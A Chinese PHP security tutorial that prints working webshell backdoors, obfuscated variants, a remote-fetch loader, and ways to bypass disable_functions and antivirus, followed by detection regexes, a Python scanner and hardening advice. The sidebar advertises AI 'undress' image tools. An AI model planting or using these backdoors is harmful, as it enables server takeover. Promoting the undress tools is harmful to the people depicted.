搜尋
首頁後端開發php教程詳解PHP安全之webshel​​l和後門檢測範例

基於PHP的應用程式面臨著各種各樣的攻擊:

  • XSS:對PHP的Web應用而言,跨站腳本是一個易受攻擊的點。攻擊者可以利用它來竊取用戶資訊。你可以設定Apache,或是寫更安全的PHP程式碼(驗證所有使用者輸入)來防範XSS攻擊

  • SQL注入:這是PHP應用中,資料庫層的易受攻擊點。防範方式同上。常用的方法是,使用mysql_real_escape_string()對參數進行轉義,而後進行SQL查詢。

  • 檔案上傳#:它可以讓訪客在伺服器上放置(即上傳)檔案。這會造成例如,刪除伺服器檔案、資料庫,取得使用者資訊等一系列問題。你可以使用PHP來禁止檔案上傳,或寫更安全的程式碼(如檢驗使用者輸入,只允許上傳png、gif這些圖片格式)

  • 包含本機與遠端文件:攻擊者可以使遠端伺服器開啟文件,運行任何PHP程式碼,然後上傳或刪除文件,安裝後門。可以透過取消遠端檔案執行的設定來防範

  • eval/assert#:這個函數可以讓一段字串如同PHP程式碼一樣執行。它通常被攻擊者用於在伺服器上隱藏程式碼和工具。透過配置PHP,取消eval等函數呼叫來實現

  • Sea-surt Attack(Cross-site request forgery,CSRF。跨站請求偽造):這種攻擊會使終端用戶在當前帳號下執行非指定行為。這會危害終端用戶的資料與操作安全。如果目標終端使用者的帳號用於管理員權限,整個網頁應用程式都會收到威脅。

這裡介紹上述加粗的幾種攻擊的方法

一、各種webshel​​l

隨著業務量的增大,越來越多的駭客來攻擊掃描,網站安全性日益重要,一不留神就被駭客控制了伺服器,最常見的方式就是透過POST請求來上傳木馬文件,從而達到可以執行任意命令,如果被控制就大事不妙了

所以還是要正視伺服器的安全

最流行的一種後門叫做一句話木馬,其形式如下所示:

<?php if(isset($_REQUEST[&#39;cmd&#39;])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "
$cmd
";
    die;
}
?>

這種容易被安全軟體偵測出來。為了增強隱蔽性,出現了各種一句話木馬的變形,透過各種函數來偽裝,這裡不得不吐槽PHP弱型別對於安全來說是致命的

#a、使用str_replace函數

<?php  $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
//说明:请求参数  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
最终执行命令<?php  assert(fputs(fopen(&#39;c.php&#39;,w),"<?php @eval($_POST[a]);?>"))?>

b、使用str_rot13函數

<?php  ($code = $_POST[&#39;code&#39;]) && @preg_replace(&#39;/ad/e&#39;,&#39;@&#39;.str_rot13(&#39;riny&#39;).&#39;($code)&#39;, &#39;add&#39;); ?>
//说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

c、使用include函數

<?php  $filename=$_GET[&#39;code&#39;];include ($filename); ?>
//由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。

d、使用pack函數

<?php  if(empty($_SESSION[&#39;api&#39;]))
    $_SESSION[&#39;api&#39;]=substr(file_get_contents(sprintf(&#39;%s?  %s&#39;,pack(“H*”,&#39;687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION[&#39;api&#39;]),null);
?>

e、使用session

<?php session_start();
$_POST[&#39;code&#39;] && $_SESSION[&#39;theCode&#39;] = trim($_POST[&#39;code&#39;]);
$_SESSION[&#39;theCode&#39;]&&preg_replace(&#39;\&#39;a\&#39;eis&#39;,&#39;e&#39;.&#39;v&#39;.&#39;a&#39;.&#39;l&#39;.&#39;(base64_decode($_SESSION[\&#39;theCode\&#39;]))&#39;,&#39;a&#39;);

f、隱藏在html頁面

nbsp;HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<title>404 Not Found</title>

<h1 id="Not-Found">Not Found</h1>
<p>The requested URL was not found on this server.</p>

<?php @preg_replace("/[pageerror]/e",$_POST[&#39;error&#39;],"saft");
header(&#39;HTTP/1.1 404 Not Found&#39;);
?>

g、使用assert函數

<?php  assert($_POST[sb]);?>

<?php $item[&#39;wind&#39;] = &#39;assert&#39;;
$array[] = $item;
$array[0][&#39;wind&#39;]($_POST[&#39;iixosmse&#39;]);

h、使用copy函數複製檔案

<?php $reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

二、程式碼混淆

<?php   
@$_++; // $_ = 1  
$=("#"^"|"); // $ = _  
$.=("."^"~"); // _P  
$.=("/"^"`"); // _PO  
$.=("|"^"/"); // _POS  
$.=("{"^"/"); // _POST  
${$}[!$_](${$}[$_]); // $_POST[0]($_POST[1]);  
?>

<?php   
    $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  
    $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";  
    $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
    $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
    $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";  
    $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");  
    $jgfi = $ftdf("l","","lclrlelaltel_functlilon");  
    $rdwm = $jgfi(&#39;&#39;, $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  
?>

可以使用weevely工具來生成,程式碼偽裝避開各種主流的殺毒軟體

PHP後門生成工具weevely

weevely是一款針對PHP的webshel​​l的自由軟體,可用於模擬一個類似telnet的連線shell,weevely通常用於web程式的漏洞利用,隱藏後門或使用類似telnet的方式來取代web 頁面式的管理,weevely產生的伺服器端php程式碼是經過了base64編碼的,所以可以騙過主流的防毒軟體和IDS,上傳伺服器端程式碼後通常可以透過weevely直接運作。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

更常用的混淆视听的方法:(这种是服务器层面的混淆)

  • 修改文件时间

  • 改名融入上传后所在文件夹,让人无法直观看出文件异常

  • 文件大小的伪装处理(至少看起大小像个正常脚本)

  • 选好藏身路径并尽量少的访问

  • 畸形目录%20

三、如果绕过配置文件

一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?

1、使用反射

<?php $func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

2、使用callback

php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.

<?php $cb= &#39;system&#39;;
ob_start($cb);
echo $_GET[c];
ob_end_flush();
?>

php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等

四、安全人员应该怎么做

1、如何查找

直观寻找方式也有很多

  • 通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)

  • 通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )

  • 通过access.log访问日志分析

下面是360 zhujiweishi ,在linux服务器上非常简单好用

詳解PHP安全之webshel​​l和後門檢測範例

通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)

  • 系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

  • 代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

通过简单的python脚本


#!/usr/bin/env python
# encoding: utf-8
 
import os,sys
import re
import hashlib
import time
 
rulelist = [
    &#39;(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))&#39;,
    &#39;((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))&#39;,
    &#39;(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})&#39;,
    &#39;(function\_exists\s*\(\s*[\&#39;|\"](popen|exec|proc\_open|passthru)+[\&#39;|\"]\s*\))&#39;,
    &#39;((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))&#39;,
    &#39;(\$(\w+)\s*\(\s.chr\(\d+\)\))&#39;,
    &#39;(\$(\w+)\s*\$\{(.*)\})&#39;,
    &#39;(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))&#39;,
    &#39;(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))&#39;,
    &#39;(\$\_\=(.*)\$\_)&#39;,
    &#39;(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))&#39;,
    &#39;(new com\s*\(\s*[\&#39;|\"]shell(.*)[\&#39;|\"]\s*\))&#39;,
    &#39;(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))&#39;,
    &#39;((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))&#39;,
    &#39;(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))&#39;,
    &#39;(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))&#39;,
    &#39;((include|require|include\_once|require\_once)+\s*\(\s*[\&#39;|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\&#39;|\"]\s*\))&#39;,
    &#39;(eval\s*\(\s*\(\s*\$\$(\w+))&#39;,
    &#39;((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))&#39;,
    &#39;(preg\_replace\s*\((.*)\(base64\_decode\(\$)&#39;
    ]
 
def scan(path):
    print(&#39;           可疑文件         &#39;)
    print(&#39;*&#39;*30)
    for root,dirs,files in os.walk(path):
        for filespath in files:
            if os.path.getsize(os.path.join(root,filespath))<1024000:
                file= open(os.path.join(root,filespath))
                filestr = file.read()
                file.close()
                for rule in rulelist:
                    result = re.compile(rule).findall(filestr)
                    if result:
                        print &#39;文件:&#39;+os.path.join(root,filespath )
                        print &#39;恶意代码:&#39;+str(result[0][0:200])
                        print (&#39;最后修改时间:&#39;+time.strftime(&#39;%Y-%m-%d %H:%M:%S&#39;,time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
                        print &#39;\n\n&#39;
                        break
def md5sum(md5_file):
    m = hashlib.md5()
    fp = open(md5_file)
    m.update(fp.read())
    return m.hexdigest()
    fp.close()
 
if md5sum(&#39;/etc/issue&#39;) == &#39;3e3c7c4194b12af573ab11c16990c477&#39;:
    if md5sum(&#39;/usr/sbin/sshd&#39;) == &#39;abf7a90c36705ef679298a44af80b10b&#39;:
        pass
    else:
        print(&#39;*&#39;*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print(&#39;*&#39;*40)
        time.sleep(5)
if md5sum(&#39;/etc/issue&#39;) == &#39;6c9222ee501323045d85545853ebea55&#39;:
    if md5sum(&#39;/usr/sbin/sshd&#39;) == &#39;4bbf2b12d6b7f234fa01b23dc9822838&#39;:
        pass
    else:
        print(&#39;*&#39;*40)
        print "\033[31m sshd被修改,疑似留有后门\033[m"
        print(&#39;*&#39;*40)
        time.sleep(5)
if name==&#39;main&#39;:
 
    if len(sys.argv)!=2:
        print &#39;参数错误&#39;
        print "\t按恶意代码查找:"+sys.argv[0]+&#39;目录名&#39;
    if os.path.lexists(sys.argv[1]) == False:
        print "目录不存在"
        exit()
    print (&#39;\n\n开始查找:&#39;+sys.argv[1])
    if len(sys.argv) ==2:
        scan(sys.argv[1])
    else:
        exit()

2、如何防范

php.ini 设置

  • disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir

  • 设置“safe_mode”为“on”

  • 禁止“open_basedir” 可以禁止指定目录之外的文件操作

  • expose_php设为off 这样php不会在http文件头中泄露信息

  • 设置“allow_url_fopen”为“off” 可禁止远程文件功能

  • log_errors”设为“on” 错误日志开启

php编码方面

  • 所有用户提交的信息  post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)

  • 经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码

  • 文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题

  • 如用开源代码,有补丁出来的话,尽快打上补丁

  • 如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。

服务器配置

配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限

nginx或者apache配置的时候,不能访问的目录一定要配置为deny

以上是詳解PHP安全之webshel​​l和後門檢測範例的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
如何檢查PHP會話是否已經開始?如何檢查PHP會話是否已經開始?Apr 30, 2025 am 12:20 AM

在PHP中,可以使用session_status()或session_id()來檢查會話是否已啟動。 1)使用session_status()函數,如果返回PHP_SESSION_ACTIVE,則會話已啟動。 2)使用session_id()函數,如果返回非空字符串,則會話已啟動。這兩種方法都能有效地檢查會話狀態,選擇使用哪種方法取決於PHP版本和個人偏好。

描述一個場景,其中使用會話在Web應用程序中至關重要。描述一個場景,其中使用會話在Web應用程序中至關重要。Apr 30, 2025 am 12:16 AM

sessionsarevitalinwebapplications,尤其是在commercePlatform之前。

如何管理PHP中的並發會話訪問?如何管理PHP中的並發會話訪問?Apr 30, 2025 am 12:11 AM

在PHP中管理並發會話訪問可以通過以下方法:1.使用數據庫存儲會話數據,2.採用Redis或Memcached,3.實施會話鎖定策略。這些方法有助於確保數據一致性和提高並發性能。

使用PHP會話的局限性是什麼?使用PHP會話的局限性是什麼?Apr 30, 2025 am 12:04 AM

PHPsessionshaveseverallimitations:1)Storageconstraintscanleadtoperformanceissues;2)Securityvulnerabilitieslikesessionfixationattacksexist;3)Scalabilityischallengingduetoserver-specificstorage;4)Sessionexpirationmanagementcanbeproblematic;5)Datapersis

解釋負載平衡如何影響會話管理以及如何解決。解釋負載平衡如何影響會話管理以及如何解決。Apr 29, 2025 am 12:42 AM

負載均衡會影響會話管理,但可以通過會話複製、會話粘性和集中式會話存儲解決。 1.會話複製在服務器間複製會話數據。 2.會話粘性將用戶請求定向到同一服務器。 3.集中式會話存儲使用獨立服務器如Redis存儲會話數據,確保數據共享。

說明會話鎖定的概念。說明會話鎖定的概念。Apr 29, 2025 am 12:39 AM

Sessionlockingisatechniqueusedtoensureauser'ssessionremainsexclusivetooneuseratatime.Itiscrucialforpreventingdatacorruptionandsecuritybreachesinmulti-userapplications.Sessionlockingisimplementedusingserver-sidelockingmechanisms,suchasReentrantLockinJ

有其他PHP會議的選擇嗎?有其他PHP會議的選擇嗎?Apr 29, 2025 am 12:36 AM

PHP會話的替代方案包括Cookies、Token-basedAuthentication、Database-basedSessions和Redis/Memcached。 1.Cookies通過在客戶端存儲數據來管理會話,簡單但安全性低。 2.Token-basedAuthentication使用令牌驗證用戶,安全性高但需額外邏輯。 3.Database-basedSessions將數據存儲在數據庫中,擴展性好但可能影響性能。 4.Redis/Memcached使用分佈式緩存提高性能和擴展性,但需額外配

在PHP的上下文中定義'會話劫持”一詞。在PHP的上下文中定義'會話劫持”一詞。Apr 29, 2025 am 12:33 AM

Sessionhijacking是指攻擊者通過獲取用戶的sessionID來冒充用戶。防範方法包括:1)使用HTTPS加密通信;2)驗證sessionID的來源;3)使用安全的sessionID生成算法;4)定期更新sessionID。

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

DVWA

DVWA

Damn Vulnerable Web App (DVWA) 是一個PHP/MySQL的Web應用程序,非常容易受到攻擊。它的主要目標是成為安全專業人員在合法環境中測試自己的技能和工具的輔助工具,幫助Web開發人員更好地理解保護網路應用程式的過程,並幫助教師/學生在課堂環境中教授/學習Web應用程式安全性。 DVWA的目標是透過簡單直接的介面練習一些最常見的Web漏洞,難度各不相同。請注意,該軟體中

VSCode Windows 64位元 下載

VSCode Windows 64位元 下載

微軟推出的免費、功能強大的一款IDE編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

SecLists

SecLists

SecLists是最終安全測試人員的伙伴。它是一個包含各種類型清單的集合,這些清單在安全評估過程中經常使用,而且都在一個地方。 SecLists透過方便地提供安全測試人員可能需要的所有列表,幫助提高安全測試的效率和生產力。清單類型包括使用者名稱、密碼、URL、模糊測試有效載荷、敏感資料模式、Web shell等等。測試人員只需將此儲存庫拉到新的測試機上,他就可以存取所需的每種類型的清單。

mPDF

mPDF

mPDF是一個PHP庫,可以從UTF-8編碼的HTML產生PDF檔案。原作者Ian Back編寫mPDF以從他的網站上「即時」輸出PDF文件,並處理不同的語言。與原始腳本如HTML2FPDF相比,它的速度較慢,並且在使用Unicode字體時產生的檔案較大,但支援CSS樣式等,並進行了大量增強。支援幾乎所有語言,包括RTL(阿拉伯語和希伯來語)和CJK(中日韓)。支援嵌套的區塊級元素(如P、DIV),